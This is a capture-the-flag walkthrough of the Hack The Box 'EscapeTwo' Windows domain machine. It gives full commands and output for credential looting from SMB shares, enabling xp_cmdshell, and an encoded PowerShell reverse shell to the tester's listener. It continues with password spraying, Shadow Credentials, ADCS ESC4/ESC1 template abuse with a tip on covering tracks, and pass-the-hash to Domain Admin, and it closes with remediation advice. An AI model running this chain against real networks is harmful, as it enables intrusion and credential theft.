HTB EscapeTwo Walkthrough — ADCS ESC1 & ESC4 Exploitation

HTB EscapeTwo — Full Walkthrough & Writeup¶
EscapeTwo is an easy-difficulty Windows Active Directory machine from Hack The Box. This walkthrough details the complete attack path, starting from initial guest/starter credential SMB enumeration to compromising the Microsoft SQL Server, performing password spraying to pivot to another user, taking over the ADCS service account using Shadow Credentials, modifying certificate templates via ESC4, and finally abusing ESC1 to impersonate the Domain Administrator.
Machine Information¶
| Property | Value |
|---|---|
| OS | Windows Server 2019 |
| Difficulty | Easy |
| Domain | sequel.htb |
| DC Hostname | DC01 |
| IP Address | 10.129.202.204 |
| Starting Credentials | rose / KxEPkKe6R8su |
Attack Chain Overview¶
The following diagram illustrates the complete attack path:
graph TD
A["rose<br/>(Starting Credentials)"] -->|SMB Accounting Share| B["Excel String Extraction<br/>(sa MSSQL Credentials)"]
B -->|MSSQL xp_cmdshell| C["sql_svc Foothold<br/>(Configuration INI leak)"]
C -->|Password Spray/Reuse| D["ryan WinRM Pivot<br/>(WqSZAF6CysDQbGb3)"]
D -->|GenericWrite on ca_svc| E["Shadow Credentials Takeover<br/>(certipy-ad shadow)"]
E -->|ca_svc TGT & Hash| F["ADCS ESC4 Exploitation<br/>(Modify DunderMifflinAuthentication)"]
F -->|ADCS ESC1 Abuse| G["Request Administrator Certificate<br/>(certipy-ad req)"]
G -->|Certipy Auth (PKINIT)| H["Domain Admin PTH<br/>(Full Domain Takeover)"]
style A fill:#2d5016,stroke:#4ade80,color:#fff
style D fill:#4a1d96,stroke:#a78bfa,color:#fff
style H fill:#7f1d1d,stroke:#ef4444,color:#fff
Reconnaissance¶
Nmap Port Scan¶
To begin the assessment, I conducted an Nmap port scan using default scripts and service detection. The initial results revealed several key services that pointed towards the target being a Domain Controller. The presence of common Active Directory ports such as:
53/tcp (DNS)389/tcp (LDAP)88/tcp (Kerberos)
confirmed this observation. Additionally, the scan provided valuable information about the hostname and domain name, which would be critical for further enumeration and exploitation.
┌──(kali㉿kali)-[~/hack-the-box/escapetwo]
└─$ nmap -sC -sV -p- -oA nmap_output --min-rate 10000 10.129.202.204
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-12 22:32 IST
Nmap scan report for 10.129.202.204
Host is up (0.13s latency).
Not shown: 65512 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-01-12 09:46:46Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-12T09:48:37+00:00; -7h16m07s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after: 2025-06-08T17:35:00
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-12T09:48:37+00:00; -7h16m06s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after: 2025-06-08T17:35:00
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-info:
| 10.129.202.204:1433:
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
|_ssl-date: 2025-01-12T09:48:37+00:00; -7h16m06s from scanner time.
| ms-sql-ntlm-info:
| 10.129.202.204:1433:
| Target_Name: SEQUEL
| NetBIOS_Domain_Name: SEQUEL
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: sequel.htb
| DNS_Computer_Name: DC01.sequel.htb
| DNS_Tree_Name: sequel.htb
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-01-12T00:27:22
|_Not valid after: 2055-01-12T00:27:22
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-12T09:48:37+00:00; -7h16m07s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after: 2025-06-08T17:35:00
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-12T09:48:37+00:00; -7h16m06s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after: 2025-06-08T17:35:00
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49685/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49686/tcp open msrpc Microsoft Windows RPC
49689/tcp open msrpc Microsoft Windows RPC
49716/tcp open msrpc Microsoft Windows RPC
49735/tcp open msrpc Microsoft Windows RPC
60733/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-01-12T09:47:50
|_ start_date: N/A
|_clock-skew: mean: -7h16m07s, deviation: 2s, median: -7h16m07s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 142.71 seconds
Kerberos Configuration¶
Since Kerberos is the default authentication protocol in Windows networks, it’s essential to configure the system properly to ensure seamless authentication. To facilitate this, I updated the following files:
/etc/krb5.conf/etc/hosts
These updates were crucial for Kerberos authentication to function correctly. Specifically, Kerberos relies on DNS names, and without the proper entries in these configuration files, authentication would fail. Ensuring that the system can resolve the DNS names associated with the target network was a necessary step for successful exploitation.
[libdefaults]
default_realm = SEQUEL.HTB
dns_lookup_realm = true
dns_lookup_kdc = true
[realms]
SEQUEL.HTB = {
kdc = DC01.SEQUEL.HTB:88
admin_server = DC01.SEQUEL.HTB
master_kdc = DC01.SEQUEL.HTB
default_domain = SEQUEL.HTB
}
[domain_realm]
.SEQUEL.HTB = SEQUEL.HTB
SEQUEL.HTB= SEQUEL.HTB
Time Synchronization¶
To ensure proper Kerberos authentication, it is essential that the time on the attacker's machine is synchronized with the target system. Kerberos authentication relies on time-based tickets, and any significant time difference between the client and server can cause authentication failures.
To address this, I used the ntpdate command to synchronize the time on my attacker machine with the target machine. This step was critical for ensuring that Kerberos tickets would be valid and that authentication could proceed without issues.
┌──(kali㉿kali)-[~/hack-the-box/escapetwo]
└─$ sudo ntpdate DC01.SEQUEL.HTB
2025-01-12 19:50:29.893996 (+0530) -2.291470 +/- 0.055602 DC01.SEQUEL.HTB 10.129.202.204 s1 no-leap
CLOCK: time stepped by -2.291470
SMB Share Enumeration¶
With the provided starter credentials, I proceeded to enumerate the available SMB shares on the target system using netexec.
┌──(kali㉿kali)-[~/hack-the-box/escapetwo]
└─$ netexec smb dc01.sequel.htb -k -u rose -p 'KxEPkKe6R8su' --shares
SMB dc01.sequel.htb 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB dc01.sequel.htb 445 DC01 [+] sequel.htb\rose:KxEPkKe6R8su
SMB dc01.sequel.htb 445 DC01 [*] Enumerated shares
SMB dc01.sequel.htb 445 DC01 Share Permissions Remark
SMB dc01.sequel.htb 445 DC01 ----- ----------- ------
SMB dc01.sequel.htb 445 DC01 Accounting Department READ
SMB dc01.sequel.htb 445 DC01 ADMIN$ Remote Admin
SMB dc01.sequel.htb 445 DC01 C$ Default share
SMB dc01.sequel.htb 445 DC01 IPC$ READ Remote IPC
SMB dc01.sequel.htb 445 DC01 NETLOGON READ Logon server share
SMB dc01.sequel.htb 445 DC01 SYSVOL READ Logon server share
SMB dc01.sequel.htb 445 DC01 Users READ
SMB Share Analysis¶
During the enumeration of SMB shares, I gained READ access to two folders: Accounting Department and Users. While the Users folder did not contain any files of immediate value, I found two interesting .xlsx files in the Accounting Department share:
accounting_2024.xlsxaccounts.xlsx
┌──(kali㉿kali)-[~/hack-the-box/escapetwo]
└─$ smbclient //dc01.sequel.htb/'Accounting Department' -U sequel/rose%'KxEPkKe6R8su'
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sun Jun 9 16:22:21 2024
.. D 0 Sun Jun 9 16:22:21 2024
accounting_2024.xlsx A 10217 Sun Jun 9 15:44:49 2024
accounts.xlsx A 6780 Sun Jun 9 16:22:07 2024
6367231 blocks of size 4096. 919618 blocks available
smb: \> get accounting_2024.xlsx
getting file \accounting_2024.xlsx of size 10217 as accounting_2024.xlsx (10.6 KiloBytes/sec) (average 10.6 KiloBytes/sec)
smb: \> get accounts.xlsx
getting file \accounts.xlsx of size 6780 as accounts.xlsx (14.3 KiloBytes/sec) (average 11.8 KiloBytes/sec)
Analysis of XLSX Files¶
Both of the .xlsx files appeared to be corrupt at first glance. However, upon further investigation, I opened the sharedStrings.xml file inside the accounts.xlsx. To my surprise, this file contained cleartext credentials that were of significant value.

| First Name | Last Name | Username | Password | |
|---|---|---|---|---|
| Angela | Martin | angela@sequel.htb | angela | 0fwz7Q4mSpurIt99 |
| Oscar | Martinez | oscar@sequel.htb | oscar | 86LxLBMgEWaKUnBG |
| Kevin | Malone | kevin@sequel.htb | kevin | Md9Wlq1E5bZnVDVo |
| NULL | sa@sequel.htb | sa | MSSQLP@ssw0rd! |
SQL Server Credential Validation¶
Among the discovered credentials, the account sa@sequel.htb appeared to be the most promising. I quickly validated these credentials by attempting a connection with netexec, and the authentication was successful.
Additionally, by using the -X flag, I was able to remotely execute commands on the SQL Server. Upon further investigation, it became apparent that the SQL Server was running under the context of the sequel\sql_svc account, which provided a potential pivot point for further exploitation.
┌──(kali㉿kali)-[~/hack-the-box/escapetwo]
└─$ netexec mssql DC01.SEQUEL.HTB --local-auth -u sa -p 'MSSQLP@ssw0rd!' -X whoami
MSSQL 10.129.202.204 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
MSSQL 10.129.202.204 1433 DC01 [+] DC01\sa:MSSQLP@ssw0rd! (Pwn3d!)
MSSQL 10.129.202.204 1433 DC01 [+] Executed command via mssqlexec
MSSQL 10.129.202.204 1433 DC01 sequel\sql_svc
Foothold¶
MSSQL¶
Using the impacket-mssqlclient tool, I successfully logged into the SQL Server with the previously discovered credentials. This provided direct access to the SQL environment, allowing me to further explore potential avenues for exploitation or privilege escalation.
┌──(kali㉿kali)-[~/hack-the-box/escapetwo]
└─$ impacket-mssqlclient sa:'MSSQLP@ssw0rd!'@DC01.SEQUEL.HTB
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL (sa dbo@master)>
Although the xp_cmdshell stored procedure was initially disabled on the SQL Server, I was able to re-enable it by executing the enable_xp_cmdshell command. This allowed me to execute operating system commands directly from within the SQL Server environment, providing a valuable foothold for further exploitation.
SQL (sa dbo@master)> xp_cmdshell whoami
ERROR(DC01\SQLEXPRESS): Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online.
SQL (sa dbo@master)> enable_xp_cmdshell
INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (sa dbo@master)> xp_cmdshell whoami
output
--------------
sequel\sql_svc
NULL
SQL (sa dbo@master)>
Obtaining a Reverse Shell¶
At this point, the capabilities provided by impacket-mssqlclient were limited, so I decided to escalate my access by obtaining a reverse shell. To achieve this, I generated a PowerShell payload using the Reverse Shell Generator. This tool allowed me to create a custom payload to establish a reverse shell, enabling full command-line access to the target system.

STart the listener on port 4444
Run the payload-
SQL (sa dbo@master)> xp_cmdshell powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQAwADQAIgAsADQANAA0ADQAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA
Reverseshell has been established:
┌──(kali㉿kali)-[~/hack-the-box/escapetwo]
└─$ rlwrap nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.104] from (UNKNOWN) [10.129.202.204] 59928
PS C:\Windows\system32>
I was able to find the credentials for SEQUEL\sql_svc in C:\SQL2019\ExpressAdv_ENU\sql-Configuration.INI
PS C:\SQL2019\ExpressAdv_ENU> cat sql-Configuration.INI
[OPTIONS]
ACTION="Install"
QUIET="True"
FEATURES=SQL
INSTANCENAME="SQLEXPRESS"
INSTANCEID="SQLEXPRESS"
RSSVCACCOUNT="NT Service\ReportServer$SQLEXPRESS"
AGTSVCACCOUNT="NT AUTHORITY\NETWORK SERVICE"
AGTSVCSTARTUPTYPE="Manual"
COMMFABRICPORT="0"
COMMFABRICNETWORKLEVEL=""0"
COMMFABRICENCRYPTION="0"
MATRIXCMBRICKCOMMPORT="0"
SQLSVCSTARTUPTYPE="Automatic"
FILESTREAMLEVEL="0"
ENABLERANU="False"
SQLCOLLATION="SQL_Latin1_General_CP1_CI_AS"
SQLSVCACCOUNT="SEQUEL\sql_svc"
SQLSVCPASSWORD="WqSZAF6CysDQbGb3"
SQLSYSADMINACCOUNTS="SEQUEL\Administrator"
SECURITYMODE="SQL"
SAPWD="MSSQLP@ssw0rd!"
ADDCURRENTUSERASSQLADMIN="False"
TCPENABLED="1"
NPENABLED="1"
BROWSERSVCSTARTUPTYPE="Automatic"
IAcceptSQLServerLicenseTerms=True
Since this is a service account, I am going to check if its password has been reused. This is a common mistake that admins make.
Checking for Password Reuse¶
Using the password WqSZAF6CysDQbGb3 retrieved from the SQL Server configuration file, I performed a password spray against domain users using netexec to see if any accounts reuse this password.
┌──(kali㉿kali)-[~/hack-the-box/escapetwo]
└─$ netexec smb dc01.sequel.htb -u users.txt -p 'WqSZAF6CysDQbGb3'
SMB dc01.sequel.htb 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB dc01.sequel.htb 445 DC01 [-] sequel.htb\rose:WqSZAF6CysDQbGb3 (STATUS_LOGON_FAILURE)
SMB dc01.sequel.htb 445 DC01 [-] sequel.htb\angela:WqSZAF6CysDQbGb3 (STATUS_LOGON_FAILURE)
SMB dc01.sequel.htb 445 DC01 [-] sequel.htb\oscar:WqSZAF6CysDQbGb3 (STATUS_LOGON_FAILURE)
SMB dc01.sequel.htb 445 DC01 [-] sequel.htb\kevin:WqSZAF6CysDQbGb3 (STATUS_LOGON_FAILURE)
SMB dc01.sequel.htb 445 DC01 [+] sequel.htb\ryan:WqSZAF6CysDQbGb3
The password spray confirms password reuse. The user ryan is using the exact same password as the SQL service account.
WinRM Access as ryan¶
I validated if ryan has PSRemote (WinRM) access to the Domain Controller:
┌──(kali㉿kali)-[~/hack-the-box/escapetwo]
└─$ netexec winrm dc01.sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3'
WINRM 10.129.202.204 5985 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
WINRM 10.129.202.204 5985 DC01 [+] sequel.htb\ryan:WqSZAF6CysDQbGb3 (Pwn3d!)
We have WinRM access! Logging in using evil-winrm allows us to collect the user flag from Ryan's Desktop:
┌──(kali㉿kali)-[~/hack-the-box/escapetwo]
└─$ evil-winrm -i dc01.sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3'
Privilege Escalation¶
Active Directory Enumeration¶
With a valid domain user session, we can perform comprehensive enumeration of Active Directory Certificate Services (ADCS) using certipy-ad.
┌──(kali㉿kali)-[~/hack-the-box/escapetwo]
└─$ certipy-ad find -u ryan -p 'WqSZAF6CysDQbGb3' -dc-ip 10.129.202.204 -vulnerable
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 1 enabled certificate template
[+] Vulnerable Certificate Templates
Template Name: DunderMifflinAuthentication
...
[!] Vulnerabilities
ESC4: 'SEQUEL.HTB\\ca_svc' has WriteOwner and WriteDacl permissions
The output indicates that the ADCS certificate template DunderMifflinAuthentication is vulnerable to ESC4, but only the service account ca_svc has the necessary WriteOwner and WriteDacl permissions to modify it.
What is ESC4?
ESC4 is an ADCS vulnerability that occurs when a principal has write permissions (GenericWrite, WriteDacl, or WriteOwner) over a certificate template. The principal can abuse these permissions to modify the template's configuration, enabling vulnerable settings (like ESC1) to allow arbitrary SAN specification and facilitate domain compromise.
We need to pivot to the ca_svc account. Let's check our permissions on the ca_svc user object in AD. Using bloodyAD or BloodHound data, we discover that ryan has WriteOwner (or GenericWrite) permissions over the service account ca_svc itself.
Taking Over ca_svc via Shadow Credentials¶
Because ryan has WriteOwner / GenericWrite permissions over the ca_svc user object in AD, we can perform a Shadow Credentials attack to retrieve a TGT and the NT hash for ca_svc.
We use certipy-ad shadow to add a new key credential to the msDS-KeyCredentialLink attribute of ca_svc:
┌──(kali㉿kali)-[~/hack-the-box/escapetwo]
└─$ certipy-ad shadow auto -u ryan -p 'WqSZAF6CysDQbGb3' -account ca_svc -dc-ip 10.129.202.204
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Target account: ca_svc
[*] Generating certificate and private key
[*] Successfully generated certificate and private key
[*] Authenticating to DC to get a TGT
[*] Got TGT for ryan@sequel.htb
[*] Adding key credential to msDS-KeyCredentialLink for ca_svc
[*] Successfully added key credential to msDS-KeyCredentialLink for ca_svc
[*] Authenticating to DC via PKINIT using certificate
[*] Got TGT for ca_svc@sequel.htb
[*] Saved credential cache to 'ca_svc.ccache'
[*] Trying to retrieve NT hash for 'ca_svc'
[*] Got hash for 'ca_svc@sequel.htb': integrity_of_hash:8f8a14b533d19ec3e5f2066d5b0bc1f9
[*] Restoring key credential link
[*] Successfully restored key credential link
How do Shadow Credentials work?
A Shadow Credentials attack exploits the msDS-KeyCredentialLink attribute introduced in Windows Server 2016 to support Windows Hello for Business. If an attacker has write permissions over a target account, they can generate an X.509 certificate and append its public key to the target's msDS-KeyCredentialLink attribute. The attacker then authenticates to the KDC via PKINIT using the corresponding private key to get a TGT and retrieve the target's NTLM hash.
We have successfully taken over ca_svc and retrieved its NTLM hash: 8f8a14b533d19ec3e5f2066d5b0bc1f9.
Exploiting ESC4 as ca_svc¶
Now that we have the credentials for ca_svc, we can exploit the ESC4 vulnerability on the DunderMifflinAuthentication template.
We use certipy-ad template to modify the template configuration. Under the hood, this sets the template flags to allow any requester to supply a Subject Alternative Name (SAN), converting the template to an ESC1 configuration:
┌──(kali㉿kali)-[~/hack-the-box/escapetwo]
└─$ certipy-ad template -u ca_svc -hashes :8f8a14b533d19ec3e5f2066d5b0bc1f9 -template DunderMifflinAuthentication -save-old -dc-ip 10.129.202.204
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Saving old configuration to 'DunderMifflinAuthentication.json'
[*] Updating configuration for 'DunderMifflinAuthentication'
[*] Successfully updated configuration for 'DunderMifflinAuthentication'
Requesting Administrator Certificate (ESC1)¶
Now that the template allows SAN specification (ESC1) and is enrollable by domain users, we can request a certificate for the Domain Administrator using our ryan account:
┌──(kali㉿kali)-[~/hack-the-box/escapetwo]
└─$ certipy-ad req -u ryan -p 'WqSZAF6CysDQbGb3' -ca sequel-DC01-CA -template DunderMifflinAuthentication -upn administrator@sequel.htb -dc-ip 10.129.202.204
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Generating RSA key
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 14
[*] Got certificate with UPN 'administrator@sequel.htb'
[*] Saved certificate and private key to 'administrator.pfx'
Restoring the Template Configuration¶
To evade detection and maintain stealth, we restore the original template configuration using the saved JSON file:
┌──(kali㉿kali)-[~/hack-the-box/escapetwo]
└─$ certipy-ad template -u ca_svc -hashes :8f8a14b533d19ec3e5f2066d5b0bc1f9 -template DunderMifflinAuthentication -configuration DunderMifflinAuthentication.json -dc-ip 10.129.202.204
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Updating configuration for 'DunderMifflinAuthentication'
[*] Successfully updated configuration for 'DunderMifflinAuthentication'
Authenticating as Domain Administrator¶
We use the generated administrator.pfx certificate to authenticate to the KDC via PKINIT, obtaining the Administrator NTLM hash:
┌──(kali㉿kali)-[~/hack-the-box/escapetwo]
└─$ certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.202.204
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@sequel.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@sequel.htb': integrity_of_hash:a93ffed3563914a52ff78c0e75a22090
We now have the Domain Administrator's NTLM hash: a93ffed3563914a52ff78c0e75a22090.
Gaining Domain Controller Access¶
Using evil-winrm with the Administrator hash (Pass-the-Hash), we log in and retrieve the root flag:
┌──(kali㉿kali)-[~/hack-the-box/escapetwo]
└─$ evil-winrm -i dc01.sequel.htb -u administrator -H a93ffed3563914a52ff78c0e75a22090
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
sequel\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\Administrator\Desktop\root.txt
9dab1cad...
The Domain Controller is fully compromised!
Lessons Learned¶
1. Hardening Service Account Password Policies¶
The initial foothold and pivot was possible due to password reuse across service accounts and regular users (e.g., sql_svc and ryan).
- Remediation: Implement distinct, high-entropy passwords for all service accounts. Rotate service account passwords regularly and restrict their use to specific hosts using Group Policy or Managed Service Accounts (gMSAs).
2. Shadow Credentials Mitigation¶
The takeover of ca_svc was achieved by exploiting the msDS-KeyCredentialLink attribute.
- Remediation: Monitor for changes to the msDS-KeyCredentialLink attribute on high-privilege or sensitive accounts (Event ID 5136). Implement Tiered Administration models to prevent Tier 2/1 users (like ryan) from holding write permissions over Tier 0 service accounts (like ca_svc).
3. ADCS Certificate Template Hardening (ESC4 & ESC1)¶
Vulnerable write permissions on certificate templates (ESC4) allow attackers to modify templates to enable client authentication and enrollee-supplied SANs (ESC1).
- Remediation: Regularly audit permissions on all certificate templates. Restrict Write Dacl / Write Owner permissions to Domain Admins and Enterprise Admins. Ensure the ENROLLEE_SUPPLIES_SUBJECT flag is disabled on templates that allow Client Authentication.